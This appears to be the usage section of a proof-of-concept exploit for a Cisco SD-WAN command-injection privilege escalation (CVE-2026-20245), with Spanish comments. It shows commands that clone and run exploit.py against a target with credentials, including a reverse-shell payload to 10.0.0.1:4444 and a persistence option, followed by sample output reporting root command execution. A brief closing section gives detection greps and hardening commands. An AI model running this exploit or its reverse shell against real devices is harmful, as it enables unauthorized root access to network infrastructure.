# Clonar repositorio
git clone https://github.com/username/CVE-2026-20245-PoC
cd CVE-2026-20245-PoC

# Instalar dependencias
pip install -r requirements.txt

# Dar permisos
chmod +x exploit.py

python3 exploit.py -t 192.168.1.1 -u netadmin -p password --check-only

python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "id"

python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "whoami" --persist

╔═══════════════════════════════════════════════════════════════════╗
║  CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit     ║
║  Command Injection via Crafted File Upload                       ║
║  CVSS: 7.8 (High) | CISA KEV: 2026-06-09                        ║
╚═══════════════════════════════════════════════════════════════════╝

[*] Authenticating to 192.168.1.1...
[+] Authentication successful
[+] XSRF Token obtained
[*] Attempting to execute: id
[*] Trying endpoint: /system/device/upload
[*] Uploading malicious file...
[+] File uploaded successfully
[*] Triggering command injection...
[+] Trigger response: 200
[+] Command injection successful via /system/device/upload

============================================================
[✓] EXPLOIT SUCCESSFUL
[✓] Command executed as root
[!] System is VULNERABLE - Apply Cisco patch immediately
============================================================

# Buscar actividad sospechosa
grep -E "\.csv|malicious|upload_serial" /var/log/scripts.log

# Comandos específicos a buscar
Apr 15 09:44:57 vmanage vScript: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/malicious.csv

# Buscar procesos root inusuales
ps aux | grep -E "bash|sh|nc|ncat|socat"

# Deshabilitar upload de serial numbers si no es necesario
no feature upload-serial-numbers

# Limitar privilegios netadmin
admin privilege restrict